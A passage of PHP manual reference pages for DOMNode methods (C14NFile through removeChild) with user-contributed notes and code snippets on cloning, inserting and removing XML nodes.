Canonicalize nodes to a file

  • ? DOMNode::C14N
  • DOMNode::cloneNode ?
  • PHP Manual
  • DOMNode
  • Canonicalize nodes to a file

DOMNode::C14NFile

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DOMNode::C14NFile — Canonicalize nodes to a file

说明

public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false

Canonicalize nodes to a file.

参数

uri

Path to write the output to.

exclusive

Enable exclusive parsing of only the nodes matched by the provided xpath or namespace prefixes.

withComments

Retain comments in output.

xpath

An array of xpaths to filter the nodes by.

nsPrefixes

An array of namespace prefixes to filter the nodes by.

返回值

Number of bytes written 或者在失败时返回 false

参见

  • DOMNode::C14N() - Canonicalize nodes to a string

User Contributed Notes

There are no user contributed notes for this page.


Clones a node

  • ? DOMNode::C14NFile
  • DOMNode::contains ?
  • PHP Manual
  • DOMNode
  • Clones a node

DOMNode::cloneNode

(PHP 5, PHP 7, PHP 8)

DOMNode::cloneNode — Clones a node

说明

public DOMNode::cloneNode(bool $deep = false): DOMNode|false

Creates a copy of the node.

参数

deep

Indicates whether to copy all descendant nodes. This parameter is defaulted to false.

返回值

The cloned node.

User Contributed Notes

cmd at 1xinternet dot de 16-Nov-2016 12:11
If you need to clone node including all child DOMNode elements:

private function cloneNode($node){

        $nd = new DOMNode();

        for ($i = 0; $i < $node->childNodes->length; $i++) {
            $child = $node->childNodes->item($i);
            if ($child->nodeType === XML_TEXT_NODE) {
                $nd->appendChild($node->cloneNode(true));
            }
            else{
                $nd->appendChild($this->cloneNode($child));
            }
        }

        return $nd;
    }
h-fate at gmx dot net 01-Oct-2014 07:48
If you have an object that holds a DOMNode, cloning the object won't clone the DOMNode with it. If you simply copy the object or add its DOMNode several times, you will in fact only move the DOMNode in the tree, not multiply it. That might seem obvious, but took me half a day to find out.

The object needs to use __clone and clone the node manually:

<?php
class containsNode {
    public $node; //set from somewhere

    public function __clone() {
        $this->node = $this->node->cloneNode(TRUE);
    }
}
?>
frame at dynamiccreated dot de 02-Dec-2012 02:19
Remeber that DOMNode always needs a reference to a parent node or DOMDocument.

For example, if you try to clone a node - copy all children - and overwrite or delete the variable which holds the cloned node - all children will loose any reference and getting invalid.

This will cause a nice message like "Couldn't... node no longer exists" if you have luck. In most cases PHP only gives you the poor information "Couldn't fetch DOM[...]" which makes hard to find out whats going on, depending on the current operation.
cemkalyoncu at gmail dot com 28-Apr-2009 03:04
If you need some function to clone a node without touching namespaces you can use the following.

<?php
private function cloneNode($node,$doc){
    $nd=$doc->createElement($node->nodeName);

    foreach($node->attributes as $value)
        $nd->setAttribute($value->nodeName,$value->value);

    if(!$node->childNodes)
        return $nd;

    foreach($node->childNodes as $child) {
        if($child->nodeName=="#text")
            $nd->appendChild($doc->createTextNode($child->nodeValue));
        else
            $nd->appendChild(cloneNode($child,$doc));
    }

    return $nd;
}
?>
[montana] at [percepticon] dot [com] 16-Feb-2009 02:23
<?php

//@oliver thanks for example source...

/*
 cloneNode(false) does not omit
 Attributes of cloned node,
 to achieve this an iteration is required.
 this is probably less efficient
 than merely creating a new
 node from the desired nodeName
 but in some cases could be useful.

use case:

omit subnodes and attributes of
secured portions of an xml document
without altering expected general structure;
*/
//xml to use

$file="<?xml version='1.0'?>
<book type='paperback'>
    <title name='MAP'>Red Nails</title>
    <price>$12.99</price>
    <author>
        <name first='Robert' middle='E' last='Howard'/>
        <birthdate disco='false' nirvana='definitely'>
            9/21/1977
            <month title='september' />
        </birthdate>
    </author>
    <author>
        <name first='Arthur' middle='Mc' last='Kayn'/>
    </author>
</book>";

$doc = new domDocument;

$doc->loadXML($file);

$xpath = new domXPath($doc);

$query = "//author/birthdate";
$xpathQuery = $xpath->query($query);

//would be a loop in production code...
$child = $xpathQuery->item(0);

$parent = $child->parentNode;

$doppel = $child->cloneNode(false);

$limit = $doppel->attributes->length;

for ($a=0;$a<$limit;$a++) {
    $doppel->removeAttributeNode($doppel->attributes->item(0));
}
//swap for now empty node
$parent->replaceChild( $doppel, $child);

print $doc->saveXML();

?>
oliver dot christen at camptocamp dot com 19-Nov-2004 08:48
simple exemple of node cloning

<?xml version="1.0"?>

<book type="paperback">
    <title name='MAP'>Red Nails</title>
    <price>$12.99</price>
    <author>
        <name first="Robert" middle="E" last="Howard"/>
        <birthdate>9/21/1977</birthdate>
    </author>
    <author>
        <name first="Arthur" middle="Mc" last="Kayn"/>
    </author>
</book>

<?php

//filename xml file to use
$file = 'book.xml';

$doc = new domDocument;

if (file_exists($file)) {
    $doc->load($file);
} else {
    exit('Erreur !.');
}

$xpath = new domXPath($doc);

$query = "//author/*";
$xpathQuery = $xpath->query($query);

$size = $xpathQuery->length;
for ($i=0; $i<$size; $i++){
    $node = $xpathQuery->item($i);
    if ($node->nodeName == 'birthdate' && $node->hasChildNodes() && $node->firstChild->textContent != ''){
        $clonenode = $node->cloneNode(true);
        $refnode = $node;
    }
}
for ($i=0; $i<$size; $i++){
    $node = $xpathQuery->item($i);
    if (!$node->isSameNode($refnode)){
        $newnode = $node->appendChild($clonenode);
    }
}

print $doc->saveXML();

?>


Checks if node contains other node

  • ? DOMNode::cloneNode
  • DOMNode::getLineNo ?
  • PHP Manual
  • DOMNode
  • Checks if node contains other node

DOMNode::contains

(PHP 8 >= 8.3.0)

DOMNode::contains — Checks if node contains other node

说明

public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool

Checks if node contains other node.

参数

other

Node to be checked.

返回值

Returns true if node contains other node, false otherwise.

示例

Example #1 DOMNode::contains() example

<?php

$dom = new DOMDocument();
$dom->loadXML(<<<XML
<!DOCTYPE HTML>
<html>
<body>
<main>
<p>Hello, world!</p>
</main>
</body>
</html>
XML);

$xpath = new DOMXPath($dom);
$main = $xpath->query("//main")[0];

var_dump($dom->documentElement->contains($main));
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Get line number for a node

  • ? DOMNode::contains
  • DOMNode::getNodePath ?
  • PHP Manual
  • DOMNode
  • Get line number for a node

DOMNode::getLineNo

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DOMNode::getLineNo — Get line number for a node

说明

public DOMNode::getLineNo(): int

Gets line number for where the node is defined.

参数

此函数没有参数。

返回值

Always returns the line number where the node was defined in.

示例

Example #1 DOMNode::getLineNo() example

<?php
// XML dump for below example
$xml = <<<XML
<?xml version="1.0" encoding="utf-8"?>
<root>
<node />
</root>
XML;

// Create a new DOMDocument instance
$dom = new DOMDocument;

// Load the XML
$dom->loadXML($xml);

// Print where the line where the 'node' element was defined in
printf('The <node> tag is defined on line %d', $dom->getElementsByTagName('node')->item(0)->getLineNo());
?>

以上示例会输出：

The <node> tag is defined in line 3

User Contributed Notes

ruud at vanmelick dot com 25-Oct-2013 09:15
The 65535 line number limit is no longer a problem when you use libxml 2.9 or higher, but you have to explicitly enable support for big line numbers:

<?php
define('XML_PARSE_BIG_LINES', 4194304);
$dom = new DOMDocument;
$dom->loadXML($xml, XML_PARSE_BIG_LINES);
?>
Anonymous 19-May-2012 02:21
The DOMNode::getLineNo() method doesn't work properly due to a libxml2 bug.

https://bugzilla.gnome.org/show_bug.cgi?id=676026
luke dot NOREPLY at webconnex dot com 04-Mar-2011 06:28
This function is buggy. It doesn't always return the correct line number, especially for text elements. As an alternative you can do something like this:

<?php
$text = $node->ownerDocument->saveXML($node);
$line += substr_count($text, "\n");
?>

You'll want to keep a reference to $line (starting at 0) and add to it as you parse over the document recursively.

In order for this to work you have to tell DOMDocument to preserve white space before loading the document.


Get an XPath for a node

  • ? DOMNode::getLineNo
  • DOMNode::getRootNode ?
  • PHP Manual
  • DOMNode
  • Get an XPath for a node

DOMNode::getNodePath

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DOMNode::getNodePath — Get an XPath for a node

说明

public DOMNode::getNodePath(): ?string

Gets an XPath location path for the node.

参数

此函数没有参数。

返回值

Returns a string containing the XPath, or null in case of an error.

示例

Example #1 DOMNode::getNodePath() example

<?php
// Create a new DOMDocument instance
$dom = new DOMDocument;

// Load the XML
$dom->loadXML('
<fruits>
<apples>
<apple>braeburn</apple>
<apple>granny smith</apple>
</apples>
<pears>
<pear>conference</pear>
</pears>
</fruits>
');

// Print XPath for each element
foreach ($dom->getElementsByTagName('*') as $node) {
echo $node->getNodePath() . "\n";
}
?>

以上示例会输出：

/fruits
/fruits/apples
/fruits/apples/apple[1]
/fruits/apples/apple[2]
/fruits/pears
/fruits/pears/pear

参见

  • DOMXPath

User Contributed Notes

There are no user contributed notes for this page.


Get root node

  • ? DOMNode::getNodePath
  • DOMNode::hasAttributes ?
  • PHP Manual
  • DOMNode
  • Get root node

DOMNode::getRootNode

(PHP 8 >= 8.3.0)

DOMNode::getRootNode — Get root node

说明

public DOMNode::getRootNode(array $options = null): DOMNode

Get root node.

参数

options

This parameter has no effect yet.

返回值

Returns the root node.

示例

Example #1 DOMNode::getRootNode() example

<?php

$dom = new DOMDocument();
$dom->loadXML('<?xml version="1.0"?><html><body/></html>');

var_dump($dom->documentElement->firstElementChild->getRootNode() === $dom);
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Checks if node has attributes

  • ? DOMNode::getRootNode
  • DOMNode::hasChildNodes ?
  • PHP Manual
  • DOMNode
  • Checks if node has attributes

DOMNode::hasAttributes

(PHP 5, PHP 7, PHP 8)

DOMNode::hasAttributes — Checks if node has attributes

说明

public DOMNode::hasAttributes(): bool

This method checks if the node has attributes. The tested node has to be an XML_ELEMENT_NODE.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • DOMNode::hasChildNodes() - Checks if node has children

User Contributed Notes

There are no user contributed notes for this page.


Checks if node has children

  • ? DOMNode::hasAttributes
  • DOMNode::insertBefore ?
  • PHP Manual
  • DOMNode
  • Checks if node has children

DOMNode::hasChildNodes

(PHP 5, PHP 7, PHP 8)

DOMNode::hasChildNodes — Checks if node has children

说明

public DOMNode::hasChildNodes(): bool

This function checks if the node has children.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • DOMNode::hasAttributes() - Checks if node has attributes

User Contributed Notes

Anonymous 21-Mar-2015 04:33
Hi what if its a dynamic file and we cannot use get elements by tag name then how do we print the contents of all level tags?
richard dot gildx at gmail dot com 29-Jul-2012 01:20
This "hasChildNodes()" exercise is simple enough to make it clear and understandable. Or, you could take it as a tag empty check. By Richard Holm, Sweden.

<?php
$xmldoc=
'<?xml version="1.0" ?>
<root>
<text>Text</text>
<none/>
<empty></empty>
<space> </space>
</root>';

$domdoc=new DOMDocument();
$domdoc->loadXML($xmldoc);

$tag=$domdoc->getElementsByTagName('root')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('text')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('none')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('empty')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";

$tag=$domdoc->getElementsByTagName('space')->item(0);
$v=$tag->hasChildNodes()?" hasChildNodes":" hasNoChildNodes";
echo $tag->tagName.$v."<br/>";
?>

Output:
root hasChildNodes
text hasChildNodes
none hasNoChildNodes
empty hasNoChildNodes
space hasChildNodes
sansana 14-Oct-2010 07:04
Personally I think using a simple:[code]if($DOMNode->childNodes <>0){}[/code] works better.
syngcw at syncgw.com 04-Jan-2010 05:53
This function is a bit tricky. If you want to find XML childnodes it is useless. You need to create a work-around:

<?php

$x = new DOMDocument();
$x->loadXML('
<A>
 <B>b-text</B>
 <C>
  <D>d-text</D>
 </C>
 <E/>
</A>');

shownode($x->getElementsByTagName('A')->item(0));
function shownode($x) {
 foreach ($x->childNodes as $p)
  if (hasChild($p)) {
      echo $p->nodeName.' -> CHILDNODES<br>';
      shownode($p);
  } elseif ($p->nodeType == XML_ELEMENT_NODE)
   echo $p->nodeName.' '.$p->nodeValue.'<br>';
}
function hasChild($p) {
 if ($p->hasChildNodes()) {
  foreach ($p->childNodes as $c) {
   if ($c->nodeType == XML_ELEMENT_NODE)
    return true;
  }
 }
 return false;
}

?>

shows:
B b-text
C -> CHILDNODES
D d-text
E
jintoppy at gmail dot com 28-Apr-2009 04:13
<?php

$doc = new DOMDocument;
$node = $doc->createElement("FirstMain", "First Main Node. This have child");
$doc->appendChild($node);
$childnode = $doc->createElement("childnode", "child node");
$node->appendChild($childnode);
$secondnode = $doc->createElement("SecondMain", "First Main Node. This don't have child");
$doc->appendChild($secondnode);
$doc->saveXML();
$nodeElmt = $doc->getElementsByTagName("FirstMain");
/*
if given as $nodeElmt = $doc->getElementsByTagName("childnode");
the output would be "This node has childnodes"

if given as $nodeElmt = $doc->getElementsByTagName("SecondMain");
the output would be "This node has no childnodes"

*/

foreach($nodeElmt as $nodeElmt)
{
if($nodeElmt->hasChildNodes())
{
echo "This node has childnodes";
}
else
{
echo "This node has no childnodes";
}
}

  ?>

- - - - - - - - - - - - - -

Output:

This node has childnodes

- - - - - - - - - - - - - -


Adds a new child before a reference node

  • ? DOMNode::hasChildNodes
  • DOMNode::isDefaultNamespace ?
  • PHP Manual
  • DOMNode
  • Adds a new child before a reference node

DOMNode::insertBefore

(PHP 5, PHP 7, PHP 8)

DOMNode::insertBefore — Adds a new child before a reference node

说明

public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false

This function inserts a new node right before the reference node. If you plan to do further modifications on the appended child you must use the returned node.

When using an existing node it will be moved.

参数

node

The new node.

child

The reference node. If not supplied, node is appended to the children.

返回值

The inserted node or false on error.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly or if the previous parent of the node being inserted is readonly.

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of the node node, or if the node to append is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if node was created from a different document than the one that created this node.

DOM_NOT_FOUND

Raised if child is not a child of this node.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children

User Contributed Notes

jarry1250 at gmail dot com 30-May-2015 01:59
Note that supplying the same node for $newnode and $refnode leads to an E_WARNING ("Couldn't add newnode as the previous sibling of refnode"). For example imagine one wanted to make $newnode the first child of its parent by doing:

<?php
$firstSibling = $newnode->parentNode->firstChild;
// Bad:
$newnode->parentNode->insertBefore( $newnode, $firstSibling );
?>

This would generate a warning if it already was the first child of its parent, since $newnode and $firstSibling are identical. Easy to work around though:

<?php
$firstSibling = $newnode->parentNode->firstChild;
// Better:
if( $newnode !== $firstSibling ) {
    $newnode->parentNode->insertBefore( $newnode, $firstSibling );
}
?>
DrTebi at Yahoo 03-Oct-2007 05:54
Sorry, my previous posting worked only for the top node. Here the corrected version, which will work for any node:

XML
----
<?xml version="1.0"?>
<contacts>
  <person>Adam</person>
  <person>Eva</person>
  <person>Thomas</person>
</contacts>

PHP
---
<?php
// load XML, create XPath object
$xml = new DomDocument();
$xml->preserveWhitespace = false;
$xml->load('contacts.xml');
$xpath = new DOMXPath($xml);

// get node eva, which we will append to
$eva = $xpath->query('/contacts/person[.="Eva"]')->item(0);

// create node john
$john = $xml->createElement('person', 'John');

// insert john after eva
//   "in eva's parent node (=contacts) insert
//   john before eva's next node"
// this also works if eva would be the last node
$eva->parentNode->insertBefore($john, $eva->nextSibling);

// show result
header('Content-Type: text/plain');
print $xml->saveXML();
?>

Result
------
<?xml version="1.0"?>
<contacts>
  <person>Adam</person>
  <person>Eva</person><person>John</person>
  <person>Thomas</person>
</contacts>
justin at redwiredesign dot com 07-Feb-2007 08:20
The previous example is incorrect, and causes a DOM_NOT_FOUND error, as the child nodes are not direct descendants of the root node.

Therefore, the line:

$parent_path = "/root";

needs to change to:

$parent_path = "/root/parent";

or

$parent_path = "//parent";

for this example to work
jg at handcode dot de 18-Aug-2005 12:18
example to insert <newnode/> between <chid1/> and <child2/>

<?xml version="1.0" encoding="ISO-8859-1" ?>
<root>
  <parent>
    <child nr="1"/>
    <child nr="2"/>
  </parent>
</root>

<?php

$xml_src = 'test.xml';

// XPath-Querys
$parent_path = "//parent";
$next_path = "//parent/child[@nr='2']";

// Create a new DOM document
$dom = new DomDocument();
$dom->load($xml_src);

// Find the parent node
$xpath = new DomXPath($dom);

// Find parent node
$parent = $xpath->query($parent_path);

// new node will be inserted before this node
$next = $xpath->query($next_path);

// Create the new element
$element = $dom->createElement('newnode');

// Insert the new element
$parent->item(0)->insertBefore($element, $next->item(0));

echo $dom->saveXML();

?>
Jerry Ellis 03-Jun-2005 12:45
1st argument) a node to insert
2nd argument) a reference node - this is the node that the new node will be inserted before

The trick to using this method is that the OBJECT on which you actually CALL the insertBefore() method is actually the PARENT node of the reference node!

INCORRECT:
$DOMNode_refNode->insertBefore($DOMNode_newNode, $DOMNode_refNode);

CORRECT:
$DOMNode_refNode->parentNode->insertBefore($DOMNode_newNode, $DOMNode_refNode);


Checks if the specified namespaceURI is the default namespace or not

  • ? DOMNode::insertBefore
  • DOMNode::isEqualNode ?
  • PHP Manual
  • DOMNode
  • Checks if the specified namespaceURI is the default namespace or not

DOMNode::isDefaultNamespace

(PHP 5, PHP 7, PHP 8)

DOMNode::isDefaultNamespace — Checks if the specified namespaceURI is the default namespace or not

说明

public DOMNode::isDefaultNamespace(string $namespace): bool

Tells whether namespace is the default namespace.

参数

namespace

The namespace URI to look for.

返回值

Return true if namespace is the default namespace, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Checks that both nodes are equal

  • ? DOMNode::isDefaultNamespace
  • DOMNode::isSameNode ?
  • PHP Manual
  • DOMNode
  • Checks that both nodes are equal

DOMNode::isEqualNode

(PHP 8 >= 8.3.0)

DOMNode::isEqualNode — Checks that both nodes are equal

说明

public DOMNode::isEqualNode(?DOMNode $otherNode): bool

Checks that both nodes are equal.

参数

otherNode

The node.

返回值

Returns true if both nodes are equal, false otherwise.

示例

Example #1 DOMNode::isEqualNode() example

<?php

$dom1 = (new DOMDocument())->createElement('h1', 'Hello World!');
$dom2 = (new DOMDocument())->createElement('h1', 'Hello World!');

var_dump($dom1->isEqualNode($dom2));
?>

以上示例会输出：

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Indicates if two nodes are the same node

  • ? DOMNode::isEqualNode
  • DOMNode::isSupported ?
  • PHP Manual
  • DOMNode
  • Indicates if two nodes are the same node

DOMNode::isSameNode

(PHP 5, PHP 7, PHP 8)

DOMNode::isSameNode — Indicates if two nodes are the same node

说明

public DOMNode::isSameNode(DOMNode $otherNode): bool

This function indicates if two nodes are the same node. The comparison is not based on content

参数

otherNode

The compared node.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Checks if feature is supported for specified version

  • ? DOMNode::isSameNode
  • DOMNode::lookupNamespaceURI ?
  • PHP Manual
  • DOMNode
  • Checks if feature is supported for specified version

DOMNode::isSupported

(PHP 5, PHP 7, PHP 8)

DOMNode::isSupported — Checks if feature is supported for specified version

说明

public DOMNode::isSupported(string $feature, string $version): bool

Checks if the asked feature is supported for the specified version.

参数

feature

The feature to test. See the example of DOMImplementation::hasFeature() for a list of features.

version

The version number of the feature to test.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • DOMImplementation::hasFeature() - Test if the DOM implementation implements a specific feature

User Contributed Notes

There are no user contributed notes for this page.


Gets the namespace URI of the node based on the prefix

  • ? DOMNode::isSupported
  • DOMNode::lookupPrefix ?
  • PHP Manual
  • DOMNode
  • Gets the namespace URI of the node based on the prefix

DOMNode::lookupNamespaceURI

(PHP 5, PHP 7, PHP 8)

DOMNode::lookupNamespaceURI — Gets the namespace URI of the node based on the prefix

说明

public DOMNode::lookupNamespaceURI(?string $prefix): ?string

Gets the namespace URI of the node based on the prefix.

参数

prefix

The prefix to look for. If this parameter is null, the method will return the default namespace URI, if any.

返回值

Returns the associated namespace URI or null if none is found.

参见

  • DOMNode::lookupPrefix() - Gets the namespace prefix of the node based on the namespace URI

User Contributed Notes

_ michael 30-Apr-2010 02:22
You have to pass *null* to lookupNamespaceURI if you want to read the default namespace. Passing an empty string doesn't work - even though the documentation says that lookupNamespaceURI takes a string as argument (and null would just be converted to an empty string).
lewar 05-Jun-2007 05:20
Simple way to get the URI of the default namespace:

<?php
    $document = new DOMDocument();
    $document->load($xml_file);
    $uri = $document->documentElement->lookupnamespaceURI(NULL);
?>


Gets the namespace prefix of the node based on the namespace URI

  • ? DOMNode::lookupNamespaceURI
  • DOMNode::normalize ?
  • PHP Manual
  • DOMNode
  • Gets the namespace prefix of the node based on the namespace URI

DOMNode::lookupPrefix

(PHP 5, PHP 7, PHP 8)

DOMNode::lookupPrefix — Gets the namespace prefix of the node based on the namespace URI

说明

public DOMNode::lookupPrefix(string $namespace): ?string

Gets the namespace prefix of the node based on the namespace URI.

参数

namespace

The namespace URI.

返回值

The prefix of the namespace or null on error.

参见

  • DOMNode::lookupNamespaceUri() - Gets the namespace URI of the node based on the prefix

User Contributed Notes

There are no user contributed notes for this page.


Normalizes the node

  • ? DOMNode::lookupPrefix
  • DOMNode::removeChild ?
  • PHP Manual
  • DOMNode
  • Normalizes the node

DOMNode::normalize

(PHP 5, PHP 7, PHP 8)

DOMNode::normalize — Normalizes the node

说明

public DOMNode::normalize(): void

Remove empty text nodes and merge adjacent text nodes in this node and all its children.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • » The DOM Specification
  • DOMDocument::normalizeDocument() - Normalizes the document

User Contributed Notes

Amir Laher 22-Aug-2005 04:45
This is a quote from the DOM level 2 spec, explaining the normalize() function.
----
normalize
Puts all Text nodes in the full depth of the sub-tree underneath this Node, including attribute nodes, into a "normal" form where only structure (e.g., elements, comments, processing instructions, CDATA sections, and entity references) separates Text nodes, i.e., there are neither adjacent Text nodes nor empty Text nodes. This can be used to ensure that the DOM view of a document is the same as if it were saved and re-loaded, and is useful when operations (such as XPointer [XPointer] lookups) that depend on a particular document tree structure are to be used.
----
(source: http://www.w3.org/TR/DOM-Level-2-Core/core.html)

i.e. the idea of normalize is to make text nodes the same as they would be if the xml document was re-loaded into DOM. It's handy if you want to compare DOM nodes.


Removes child from list of children

  • ? DOMNode::normalize
  • DOMNode::replaceChild ?
  • PHP Manual
  • DOMNode
  • Removes child from list of children

DOMNode::removeChild

(PHP 5, PHP 7, PHP 8)

DOMNode::removeChild — Removes child from list of children

说明

public DOMNode::removeChild(DOMNode $child): DOMNode|false

This functions removes a child from a list of children.

参数

child

The removed child.

返回值

If the child could be removed the function returns the old child or false on error.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly.

DOM_NOT_FOUND

Raised if child is not a child of this node.

示例

The following example will delete the chapter element of our XML document.

Example #1 Removing a child

<?php

$doc = new DOMDocument;
$doc->load('book.xml');

$book = $doc->documentElement;

// we retrieve the chapter and remove it from the book
$chapter = $book->getElementsByTagName('chapter')->item(0);
$oldchapter = $book->removeChild($chapter);

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML V4.1.2//EN"
          "http://www.oasis-open.org/docbook/xml/4.1.2/docbookx.dtd">
<book id="listing">
 <title>My lists</title>

</book>

参见

  • DOMChildNode::remove() - Removes the node
  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMNode::replaceChild() - Replaces a child

User Contributed Notes

nggit@phpindonesia 01-Feb-2019 02:29
You can use foreach to remove multiple elements from a DOMNodeList, only if you use a temporary array or via XPath query.
If not, the simplest way will be:

<?php

while ($element = $nodeList->item(0)) {
    $element->parentNode->removeChild($element);
}

?>
Kenney 28-Mar-2013 10:19
This method will remove all child nodes but leave the attributes (and namespace declarations) intact.

<?php
function removeChildren( &$node )
{
  $node->parentNode->replaceChild(
    $n = $node->cloneNode( false ),
    $node );

  $node = $n;
}
?>
drimsun at gmail dot com 11-Feb-2010 03:37
If you try to remove children of a nested node (e.g. a <ul> list that contains another <ul>) and only remove the first level of child nodes, you'll get a messed-up node object.

Upon re-use of the messed-up node you'll get an error message that says: "Fatal error: Call to a member function blahblah() on a non-object".

To remove ALL child nodes, use this recursive function instead:
<?php
/**
 * Helper function that removes all child nodes of $node recursively
 * (i.e. including child nodes of the child nodes and so forth).
 */
function remove_children(&$node) {
  while ($node->firstChild) {
    while ($node->firstChild->firstChild) {
      remove_children($node->firstChild);
    }
    $node->removeChild($node->firstChild);
  }
}
?>
Justin Carlson 05-Nov-2009 11:46
Just a note, if you remove a node the whitespace it occupied will remain if you save the file.

To avoid this, use $document->preserveWhiteSpace = false;

For Example:

<?php
$document = new DomDocument();
$document->preserveWhiteSpace = false;
?>
crazy888s at hotmail dot com 15-Apr-2009 01:50
You can't remove DOMNodes from a DOMNodeList as you're iterating over them in a foreach loop. For example...

<?php
$domNodeList = $domDocument->getElementsByTagname('p');
foreach ( $domNodeList as $domElement ) {
  //  ...do stuff with $domElement...
  $domElement->parentNode->removeChild($domElement);
}
?>

... will seemingly leave the internal iterator on the foreach out of wack and results will be quite strange. Though, making a queue of items to remove seems to work. For example...

<?php
$domNodeList = $domDocument->getElementsByTagname('p');
$domElemsToRemove = array();
foreach ( $domNodeList as $domElement ) {
  // ...do stuff with $domElement...
  $domElemsToRemove[] = $domElement;
}
foreach( $domElemsToRemove as $domElement ){
  $domElement->parentNode->removeChild($domElement);
}
?>
Justin Sheckler 30-Jan-2009 08:44
These two functions might be helpful to anyone trying to delete a node and all of its children:

<?php
function deleteNode($node) {
    deleteChildren($node);
    $parent = $node->parentNode;
    $oldnode = $parent->removeChild($node);
}

function deleteChildren($node) {
    while (isset($node->firstChild)) {
        deleteChildren($node->firstChild);
        $node->removeChild($node->firstChild);
    }
}
?>
tim cameron ryan 19-Jul-2008 01:00
Or something like:

<?php

while ($node->childNodes->length)
     $node->removeChild($node->firstChild);

?>
Michael D (DigitalGemstones.com) 05-Jul-2008 04:15
Note that iterating through the childNodes array and removing those children will stop the iteration.

For example:
<?php
foreach($node->childNodes as $child)
{
  if(iWantToDeleteThisNode($child))
     $child->parentNode->removeChild($child);
}
?>

Will not work.  Note that in removing the node, the childNodes array gets rebuilt (it seems) and so only the first item will be removed.  In order to properly remove all the children you want to remove, you will need to do something like the following:

<?php
$nodesToDelete = array();
foreach($node->childNodes as $child)
{
  if(iWantToDeleteThisNode($child))
    $nodesToDelete[] = $child;
}
foreach($nodesToDelete as $node)
{
  $node->parentNode->removeChild($node);
}
?>

I believe this is actually more efficient than the first snippet would be (if it worked) but obviously I cannot benchmark it.
Wala 04-Apr-2008 10:57
I used the following to delete an entire node using the child element:

<?php
$childElement->parentNode->parentNode-> removeChild($childElement->parentNode);
?>

I could not have thought of it without the help of everyone who contributed to this thread.

Thanks!

(I had to introduce the extra space between parentNode->removeChild to get rid of the wordwrap() warning while posting this note)
Vasil Rangelov 06-Oct-2007 10:14
At the time of writing, I suppose rightfully, removeChild() removes only the selected node, but when you remove an element, it's child elements are not removed. If you want to achieve that, replaceChild() is the solution.

The following should remove all descendants of the $node DOMNode, regardless of it's name:
<?php
$node->replaceChild(new DOMElement($node->nodeName), $node);
?>
If you're replacing the root element, you must explicitly state that with $node->documentElement as the second argument.
mytto at openxtrem dot com 07-Sep-2005 02:20
Back again on removing childs and iterators robustness.

Things get a bit more complicated when you only want to remove 'some' nodes according to a certain condition. Then you can't just remove the first one repeatedly.

The trick is to copy the content of the node list into a more robust collection than DOMNodeList, I name array!

The following piece of code will, for instance, remove all empty child nodes:

<?php
// Copy childNodes array
$childNodes = array();
foreach($node->childNodes as $childNode) {
  $childNodes[] = $childNode;
}

// Browse with the copy
foreach ($childNodes as $childNode) {
  if (!$childNode->hasChildNodes()); {
    $childNode->parentNode->removeChild($childNode);
  }
}
?>
blaine (at) blainegarrett (dot com) 23-Aug-2005 10:10
This might be obvious, but might help someone as well...

If you simply have a node that you need to remove (perhaps from an xpath) and don't know the parent node offhand (the examples seem to assume you have the parent in a variable), then you can do something easy like this...

$node->parentNode->removeChild($node);

parentNode is a scalar property of the Element.

Hope that helps.

--
Blaine Garrett
pedro at leb dot usp dot br 30-May-2005 04:24
You may also use the hasChild function:
<?php

while($node->hasChildNodes()) {
  $node->removeChild($node->childNodes->item(0));
}

?>

When you remove a childNode, the next node becomes the first one!
vsematika at centrum dot cz 13-Feb-2005 03:35
For those who don't understand >sbeam at onsetcorps dot net on 02-Feb-2005 12:07< 'hack', here's a little discussion:

First but *wrong* try would be:
<?php
foreach ($parent->childNodes as $child) {
   $parent->removeChild($child);
?>
This doesn't work because DOM tree id modified on-the-fly and this confuses foreach loop.

The idea behind sbeam's trick is that after removing the first item in the first iteration, the second item in childNodes nodelist immediately becomes the first item. That's why we must _always_ remove the first child. Here's another implementation:

<?php
$count = $parent->childNodes->length;
for ($i = 0; $i < $count; $i++) {
   $oldNode = $parent->removeChild($parent->childNodes->item(0)); // !!! not item($i) !!!
}
?>


Replaces a child

  • ? DOMNode::removeChild
  • DOMNodeList ?
  • PHP Manual
  • DOMNode
  • Replaces a child

DOMNode::replaceChild

(PHP 5, PHP 7, PHP 8)

DOMNode::replaceChild — Replaces a child

说明

public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false

This function replaces the child child with the passed new node. If the node is already a child it will not be added a second time. If the replacement succeeds the old node is returned.

参数

node

